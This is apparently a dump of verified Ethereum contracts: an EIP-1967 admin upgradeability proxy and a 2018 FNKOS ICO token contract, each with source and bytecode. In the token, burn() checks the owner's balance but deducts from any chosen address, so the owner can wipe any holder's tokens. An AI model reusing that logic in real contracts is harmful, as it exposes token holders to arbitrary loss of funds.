Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,378
0x0707681f344deb24184037fc0228856f2137b02e
pragma solidity ^0.4.24; // // FogLink OS Token // Author: FNK // Contact: support@foglink.io // Telegram community: https://t.me/fnkofficial // contract FNKOSToken { string public constant name = "FNKOSToken"; string public constant symbol = "FNKOS"; uint public constant decimals = 18; uint256 fnkEthRate = 10 ** decimals; uint256 fnkSupply = 1000000000; uint256 public totalSupply = fnkSupply * fnkEthRate; uint256 public minInvEth = 0.1 ether; uint256 public maxInvEth = 100.0 ether; uint256 public sellStartTime = 1524240000; // 2018/4/21 uint256 public sellDeadline1 = sellStartTime + 30 days; uint256 public sellDeadline2 = sellDeadline1 + 30 days; uint256 public freezeDuration = 30 days; uint256 public ethFnkRate1 = 3600; uint256 public ethFnkRate2 = 3600; bool public running = true; bool public buyable = true; address owner; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public whitelist; mapping (address => uint256) whitelistLimit; struct BalanceInfo { uint256 balance; uint256[] freezeAmount; uint256[] releaseTime; } mapping (address => BalanceInfo) balances; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event BeginRunning(); event PauseRunning(); event BeginSell(); event PauseSell(); event Burn(address indexed burner, uint256 val); event Freeze(address indexed from, uint256 value); constructor () public{ owner = msg.sender; balances[owner].balance = totalSupply; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyWhitelist() { require(whitelist[msg.sender] == true); _; } modifier isRunning(){ require(running); _; } modifier isNotRunning(){ require(!running); _; } modifier isBuyable(){ require(buyable && now >= sellStartTime && now <= sellDeadline2); _; } modifier isNotBuyable(){ require(!buyable || now < sellStartTime || now > sellDeadline2); _; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } // 1eth = newRate tokens function setPbulicOfferingPrice(uint256 _rate1, uint256 _rate2) onlyOwner public { ethFnkRate1 = _rate1; ethFnkRate2 = _rate2; } // function setPublicOfferingLimit(uint256 _minVal, uint256 _maxVal) onlyOwner public { minInvEth = _minVal; maxInvEth = _maxVal; } function setPublicOfferingDate(uint256 _startTime, uint256 _deadLine1, uint256 _deadLine2) onlyOwner public { sellStartTime = _startTime; sellDeadline1 = _deadLine1; sellDeadline2 = _deadLine2; } function transferOwnership(address _newOwner) onlyOwner public { if (_newOwner != address(0)) { owner = _newOwner; } } function pause() onlyOwner isRunning public { running = false; emit PauseRunning(); } function start() onlyOwner isNotRunning public { running = true; emit BeginRunning(); } function pauseSell() onlyOwner isBuyable isRunning public{ buyable = false; emit PauseSell(); } function beginSell() onlyOwner isNotBuyable isRunning public{ buyable = true; emit BeginSell(); } // // _amount in FNK, // function airDeliver(address _to, uint256 _amount) onlyOwner public { require(owner != _to); require(_amount > 0); require(balances[owner].balance >= _amount); // take big number as wei if(_amount < fnkSupply){ _amount = _amount * fnkEthRate; } balances[owner].balance = safeSub(balances[owner].balance, _amount); balances[_to].balance = safeAdd(balances[_to].balance, _amount); emit Transfer(owner, _to, _amount); } function airDeliverMulti(address[] _addrs, uint256 _amount) onlyOwner public { require(_addrs.length <= 255); for (uint8 i = 0; i < _addrs.length; i++) { airDeliver(_addrs[i], _amount); } } function airDeliverStandalone(address[] _addrs, uint256[] _amounts) onlyOwner public { require(_addrs.length <= 255); require(_addrs.length == _amounts.length); for (uint8 i = 0; i < _addrs.length; i++) { airDeliver(_addrs[i], _amounts[i]); } } // // _amount, _freezeAmount in FNK // function freezeDeliver(address _to, uint _amount, uint _freezeAmount, uint _freezeMonth, uint _unfreezeBeginTime ) onlyOwner public { require(owner != _to); require(_freezeMonth > 0); uint average = _freezeAmount / _freezeMonth; BalanceInfo storage bi = balances[_to]; uint[] memory fa = new uint[](_freezeMonth); uint[] memory rt = new uint[](_freezeMonth); if(_amount < fnkSupply){ _amount = _amount * fnkEthRate; average = average * fnkEthRate; _freezeAmount = _freezeAmount * fnkEthRate; } require(balances[owner].balance > _amount); uint remainAmount = _freezeAmount; if(_unfreezeBeginTime == 0) _unfreezeBeginTime = now + freezeDuration; for(uint i=0;i<_freezeMonth-1;i++){ fa[i] = average; rt[i] = _unfreezeBeginTime; _unfreezeBeginTime += freezeDuration; remainAmount = safeSub(remainAmount, average); } fa[i] = remainAmount; rt[i] = _unfreezeBeginTime; bi.balance = safeAdd(bi.balance, _amount); bi.freezeAmount = fa; bi.releaseTime = rt; balances[owner].balance = safeSub(balances[owner].balance, _amount); emit Transfer(owner, _to, _amount); emit Freeze(_to, _freezeAmount); } function freezeDeliverMuti(address[] _addrs, uint _deliverAmount, uint _freezeAmount, uint _freezeMonth, uint _unfreezeBeginTime ) onlyOwner public { require(_addrs.length <= 255); for(uint i=0;i< _addrs.length;i++){ freezeDeliver(_addrs[i], _deliverAmount, _freezeAmount, _freezeMonth, _unfreezeBeginTime); } } function freezeDeliverMultiStandalone(address[] _addrs, uint[] _deliverAmounts, uint[] _freezeAmounts, uint _freezeMonth, uint _unfreezeBeginTime ) onlyOwner public { require(_addrs.length <= 255); require(_addrs.length == _deliverAmounts.length); require(_addrs.length == _freezeAmounts.length); for(uint i=0;i< _addrs.length;i++){ freezeDeliver(_addrs[i], _deliverAmounts[i], _freezeAmounts[i], _freezeMonth, _unfreezeBeginTime); } } // buy tokens directly function () external payable { buyTokens(); } // function buyTokens() payable isRunning isBuyable onlyWhitelist public { uint256 weiVal = msg.value; address investor = msg.sender; require(investor != address(0) && weiVal >= minInvEth && weiVal <= maxInvEth); require(safeAdd(weiVal,whitelistLimit[investor]) <= maxInvEth); uint256 amount = 0; if(now > sellDeadline1) amount = safeMul(msg.value, ethFnkRate2); else amount = safeMul(msg.value, ethFnkRate1); whitelistLimit[investor] = safeAdd(weiVal, whitelistLimit[investor]); balances[owner].balance = safeSub(balances[owner].balance, amount); balances[investor].balance = safeAdd(balances[investor].balance, amount); emit Transfer(owner, investor, amount); } function addWhitelist(address[] _addrs) public onlyOwner { require(_addrs.length <= 255); for (uint8 i = 0; i < _addrs.length; i++) { if (!whitelist[_addrs[i]]){ whitelist[_addrs[i]] = true; } } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner].balance; } function freezeOf(address _owner) constant public returns (uint256) { BalanceInfo storage bi = balances[_owner]; uint freezeAmount = 0; uint t = now; for(uint i=0;i< bi.freezeAmount.length;i++){ if(t < bi.releaseTime[i]) freezeAmount += bi.freezeAmount[i]; } return freezeAmount; } function transfer(address _to, uint256 _amount) isRunning onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); uint freezeAmount = freezeOf(msg.sender); uint256 _balance = safeSub(balances[msg.sender].balance, freezeAmount); require(_amount <= _balance); balances[msg.sender].balance = safeSub(balances[msg.sender].balance,_amount); balances[_to].balance = safeAdd(balances[_to].balance,_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) isRunning onlyPayloadSize(3 * 32) public returns (bool success) { require(_from != address(0) && _to != address(0)); require(_amount <= allowed[_from][msg.sender]); uint freezeAmount = freezeOf(_from); uint256 _balance = safeSub(balances[_from].balance, freezeAmount); require(_amount <= _balance); balances[_from].balance = safeSub(balances[_from].balance,_amount); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_amount); balances[_to].balance = safeAdd(balances[_to].balance,_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) isRunning public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function withdraw() onlyOwner public { address myAddress = this; require(myAddress.balance > 0); owner.transfer(myAddress.balance); emit Transfer(this, owner, myAddress.balance); } function burn(address burner, uint256 _value) onlyOwner public { require(_value <= balances[msg.sender].balance); balances[burner].balance = safeSub(balances[burner].balance, _value); totalSupply = safeSub(totalSupply, _value); fnkSupply = totalSupply / fnkEthRate; emit Burn(burner, _value); } }
0x6080604052600436106101e25763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101ec578063095ea7b3146102765780630c3e564a146102ae5780630ea7c8cd1461030557806318160ddd146103295780632111c0f91461035057806323b872dd146103b7578063313ce567146103e157806334d05b1f146103f65780633ccfd60b14610423578063440991bd1461043857806355d8bbd51461044d57806359287ce914610462578063679019ba1461047d57806370a082311461054d57806377dd8ea71461056e5780637d4ce874146105835780638456cb591461059857806388c7e397146105ad57806395d89b41146105c25780639754a7d8146105d7578063984809bf146105ec5780639aea020b146106075780639b19251a1461061c5780639dc29fac1461063d578063a9059cbb14610661578063b885d56014610685578063be9a655514610713578063cb60f8b414610728578063cd4217c11461073d578063d0febe4c146101e2578063d70b63421461075e578063d85bd52614610773578063dd62ed3e14610788578063e28a5e63146107af578063e73140c1146107c4578063edac985b146107e2578063f2fde38b14610837578063fd12c1cb14610858575b6101ea61086d565b005b3480156101f857600080fd5b50610201610a59565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023b578181015183820152602001610223565b50505050905090810190601f1680156102685780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028257600080fd5b5061029a600160a060020a0360043516602435610a90565b604080519115158252519081900360200190f35b3480156102ba57600080fd5b50604080516020600480358082013583810280860185019096528085526101ea953695939460249493850192918291850190849080828437509497505093359450610b4a9350505050565b34801561031157600080fd5b506101ea600160a060020a0360043516602435610bba565b34801561033557600080fd5b5061033e610cf7565b60408051918252519081900360200190f35b34801561035c57600080fd5b50604080516020600480358082013583810280860185019096528085526101ea953695939460249493850192918291850190849080828437509497505084359550505060208301359260408101359250606001359050610cfd565b3480156103c357600080fd5b5061029a600160a060020a0360043581169060243516604435610d6d565b3480156103ed57600080fd5b5061033e610f15565b34801561040257600080fd5b506101ea600160a060020a0360043516602435604435606435608435610f1a565b34801561042f57600080fd5b506101ea61123f565b34801561044457600080fd5b5061033e6112f2565b34801561045957600080fd5b506101ea6112f8565b34801561046e57600080fd5b506101ea60043560243561138f565b34801561048957600080fd5b50604080516020600480358082013583810280860185019096528085526101ea95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497505084359550505060209092013591506113b79050565b34801561055957600080fd5b5061033e600160a060020a0360043516611469565b34801561057a57600080fd5b5061033e611484565b34801561058f57600080fd5b5061033e61148a565b3480156105a457600080fd5b506101ea611490565b3480156105b957600080fd5b5061029a6114f3565b3480156105ce57600080fd5b50610201611501565b3480156105e357600080fd5b506101ea611538565b3480156105f857600080fd5b506101ea6004356024356115ce565b34801561061357600080fd5b5061033e6115f6565b34801561062857600080fd5b5061029a600160a060020a03600435166115fc565b34801561064957600080fd5b506101ea600160a060020a0360043516602435611611565b34801561066d57600080fd5b5061029a600160a060020a03600435166024356116ec565b34801561069157600080fd5b50604080516020600480358082013583810280860185019096528085526101ea95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506117f09650505050505050565b34801561071f57600080fd5b506101ea611883565b34801561073457600080fd5b5061033e6118e8565b34801561074957600080fd5b5061033e600160a060020a03600435166118ee565b34801561076a57600080fd5b5061033e61196a565b34801561077f57600080fd5b5061029a611970565b34801561079457600080fd5b5061033e600160a060020a0360043581169060243516611979565b3480156107bb57600080fd5b5061033e6119a4565b3480156107d057600080fd5b506101ea6004356024356044356119aa565b3480156107ee57600080fd5b50604080516020600480358082013583810280860185019096528085526101ea953695939460249493850192918291850190849080828437509497506119d59650505050505050565b34801561084357600080fd5b506101ea600160a060020a0360043516611aab565b34801561086457600080fd5b5061033e611b0a565b600b546000908190819060ff16151561088557600080fd5b600b54610100900460ff16801561089e57506005544210155b80156108ac57506007544211155b15156108b757600080fd5b336000908152600d602052604090205460ff1615156001146108d857600080fd5b34925033915081158015906108ef57506003548310155b80156108fd57506004548311155b151561090857600080fd5b600454600160a060020a0383166000908152600e602052604090205461092f908590611b10565b111561093a57600080fd5b6000905060065442111561095b5761095434600a54611b26565b905061096a565b61096734600954611b26565b90505b600160a060020a0382166000908152600e602052604090205461098e908490611b10565b600160a060020a038084166000908152600e6020908152604080832094909455600b546201000090049092168152600f90915220546109cd9082611b4a565b600b54600160a060020a036201000090910481166000908152600f60205260408082209390935590841681522054610a059082611b10565b600160a060020a038084166000818152600f602090815260409182902094909455600b548151868152915192946201000090910490931692600080516020611bc583398151915292918290030190a3505050565b60408051808201909152600a81527f464e4b4f53546f6b656e00000000000000000000000000000000000000000000602082015281565b600b5460009060ff161515610aa457600080fd5b8115801590610ad55750336000908152600c60209081526040808320600160a060020a038716845290915290205415155b15610ae257506000610b44565b336000818152600c60209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600b54600090620100009004600160a060020a03163314610b6a57600080fd5b825160ff1015610b7957600080fd5b5060005b82518160ff161015610bb557610bad838260ff16815181101515610b9d57fe5b9060200190602002015183610bba565b600101610b7d565b505050565b600b54620100009004600160a060020a03163314610bd757600080fd5b600b54600160a060020a0383811662010000909204161415610bf857600080fd5b60008111610c0557600080fd5b600b54620100009004600160a060020a03166000908152600f6020526040902054811115610c3257600080fd5b600154811015610c4157600054025b600b54620100009004600160a060020a03166000908152600f6020526040902054610c6c9082611b4a565b600b54600160a060020a036201000090910481166000908152600f60205260408082209390935590841681522054610ca49082611b10565b600160a060020a038084166000818152600f602090815260409182902094909455600b548151868152915192946201000090910490931692600080516020611bc583398151915292918290030190a35050565b60025481565b600b54600090620100009004600160a060020a03163314610d1d57600080fd5b855160ff1015610d2c57600080fd5b5060005b8551811015610d6557610d5d8682815181101515610d4a57fe5b9060200190602002015186868686610f1a565b600101610d30565b505050505050565b600b546000908190819060ff161515610d8557600080fd5b60606064361015610d9257fe5b600160a060020a03871615801590610db25750600160a060020a03861615155b1515610dbd57600080fd5b600160a060020a0387166000908152600c60209081526040808320338452909152902054851115610ded57600080fd5b610df6876118ee565b600160a060020a0388166000908152600f6020526040902054909350610e1c9084611b4a565b915081851115610e2b57600080fd5b600160a060020a0387166000908152600f6020526040902054610e4e9086611b4a565b600160a060020a0388166000908152600f6020908152604080832093909355600c815282822033835290522054610e859086611b4a565b600160a060020a038089166000908152600c602090815260408083203384528252808320949094559189168152600f9091522054610ec39086611b10565b600160a060020a038088166000818152600f602090815260409182902094909455805189815290519193928b1692600080516020611bc583398151915292918290030190a35060019695505050505050565b601281565b600080606080600080600b60029054906101000a9004600160a060020a0316600160a060020a031633600160a060020a0316141515610f5857600080fd5b600b54600160a060020a038c811662010000909204161415610f7957600080fd5b60008811610f8657600080fd5b8789811515610f9157fe5b049550600f60008c600160a060020a0316600160a060020a03168152602001908152602001600020945087604051908082528060200260200182016040528015610fe5578160200160208202803883390190505b50935087604051908082528060200260200182016040528015611012578160200160208202803883390190505b5092506001548a101561103057600054998a02999889029895909502945b600b54620100009004600160a060020a03166000908152600f60205260409020548a1061105c57600080fd5b88915086151561106e57600854420196505b5060005b600188038110156110cc5785848281518110151561108c57fe5b60209081029091010152825187908490839081106110a657fe5b6020908102909101015260085496909601956110c28287611b4a565b9150600101611072565b8184828151811015156110db57fe5b60209081029091010152825187908490839081106110f557fe5b60209081029091010152845461110b908b611b10565b855583516111229060018701906020870190611b5c565b5082516111389060028701906020860190611b5c565b50600b54620100009004600160a060020a03166000908152600f6020526040902054611164908b611b4a565b600f6000600b60029054906101000a9004600160a060020a0316600160a060020a0316600160a060020a03168152602001908152602001600020600001819055508a600160a060020a0316600b60029054906101000a9004600160a060020a0316600160a060020a0316600080516020611bc58339815191528c6040518082815260200191505060405180910390a3604080518a81529051600160a060020a038d16917ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e0919081900360200190a25050505050505050505050565b600b54600090620100009004600160a060020a0316331461125f57600080fd5b5030600081311161126f57600080fd5b600b54604051600160a060020a036201000090920482169183163180156108fc02916000818181858888f193505050501580156112b0573d6000803e3d6000fd5b50600b5460408051600160a060020a0384811631825291516201000090930491909116913091600080516020611bc5833981519152919081900360200190a350565b60085481565b600b54620100009004600160a060020a0316331461131557600080fd5b600b54610100900460ff16158061132d575060055442105b80611339575060075442115b151561134457600080fd5b600b5460ff16151561135557600080fd5b600b805461ff0019166101001790556040517fd5b089eb0ec44264fc274d9a4adaafa6bfe78bdbeaf4b128d6871d5314057c5690600090a1565b600b54620100009004600160a060020a031633146113ac57600080fd5b600991909155600a55565b600b54600090620100009004600160a060020a031633146113d757600080fd5b855160ff10156113e657600080fd5b84518651146113f457600080fd5b835186511461140257600080fd5b5060005b8551811015610d6557611461868281518110151561142057fe5b90602001906020020151868381518110151561143857fe5b90602001906020020151868481518110151561145057fe5b906020019060200201518686610f1a565b600101611406565b600160a060020a03166000908152600f602052604090205490565b60095481565b60045481565b600b54620100009004600160a060020a031633146114ad57600080fd5b600b5460ff1615156114be57600080fd5b600b805460ff191690556040517f24faf5703cd024754e538120a7237535f1ea01677015f7e32f67be64b66d9dac90600090a1565b600b54610100900460ff1681565b60408051808201909152600581527f464e4b4f53000000000000000000000000000000000000000000000000000000602082015281565b600b54620100009004600160a060020a0316331461155557600080fd5b600b54610100900460ff16801561156e57506005544210155b801561157c57506007544211155b151561158757600080fd5b600b5460ff16151561159857600080fd5b600b805461ff00191690556040517fb9248e98c8764c68b0d9dd60de677553b9c38a5a521bbb362bb6f5aab6937e8990600090a1565b600b54620100009004600160a060020a031633146115eb57600080fd5b600391909155600455565b60075481565b600d6020526000908152604090205460ff1681565b600b54620100009004600160a060020a0316331461162e57600080fd5b336000908152600f602052604090205481111561164a57600080fd5b600160a060020a0382166000908152600f602052604090205461166d9082611b4a565b600160a060020a0383166000908152600f60205260409020556002546116939082611b4a565b6002819055600054908115156116a557fe5b04600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600b546000908190819060ff16151561170457600080fd5b6040604436101561171157fe5b600160a060020a038616151561172657600080fd5b61172f336118ee565b336000908152600f602052604090205490935061174c9084611b4a565b91508185111561175b57600080fd5b336000908152600f60205260409020546117759086611b4a565b336000908152600f602052604080822092909255600160a060020a038816815220546117a19086611b10565b600160a060020a0387166000818152600f6020908152604091829020939093558051888152905191923392600080516020611bc58339815191529281900390910190a350600195945050505050565b600b54600090620100009004600160a060020a0316331461181057600080fd5b825160ff101561181f57600080fd5b815183511461182d57600080fd5b5060005b82518160ff161015610bb55761187b838260ff1681518110151561185157fe5b90602001906020020151838360ff1681518110151561186c57fe5b90602001906020020151610bba565b600101611831565b600b54620100009004600160a060020a031633146118a057600080fd5b600b5460ff16156118b057600080fd5b600b805460ff191660011790556040517ff999e0378b31fd060880ceb4bc403bc32de3d1000bee77078a09c7f1d929a51590600090a1565b60055481565b600160a060020a0381166000908152600f602052604081208142815b6001840154811015611960576002840180548290811061192657fe5b9060005260206000200154821015611958576001840180548290811061194857fe5b9060005260206000200154830192505b60010161190a565b5090949350505050565b60035481565b600b5460ff1681565b600160a060020a039182166000908152600c6020908152604080832093909416825291909152205490565b60065481565b600b54620100009004600160a060020a031633146119c757600080fd5b600592909255600655600755565b600b54600090620100009004600160a060020a031633146119f557600080fd5b815160ff1015611a0457600080fd5b5060005b81518160ff161015611aa757600d6000838360ff16815181101515611a2957fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff161515611a9f576001600d6000848460ff16815181101515611a6c57fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff19169115159190911790555b600101611a08565b5050565b600b54620100009004600160a060020a03163314611ac857600080fd5b600160a060020a03811615611b0757600b805475ffffffffffffffffffffffffffffffffffffffff0000191662010000600160a060020a038416021790555b50565b600a5481565b600082820183811015611b1f57fe5b9392505050565b6000828202831580611b425750828482811515611b3f57fe5b04145b1515611b1f57fe5b600082821115611b5657fe5b50900390565b828054828255906000526020600020908101928215611b97579160200282015b82811115611b97578251825591602001919060010190611b7c565b50611ba3929150611ba7565b5090565b611bc191905b80821115611ba35760008155600101611bad565b905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058201fd7143d3860b55ed16486669a85e44acc1e966cd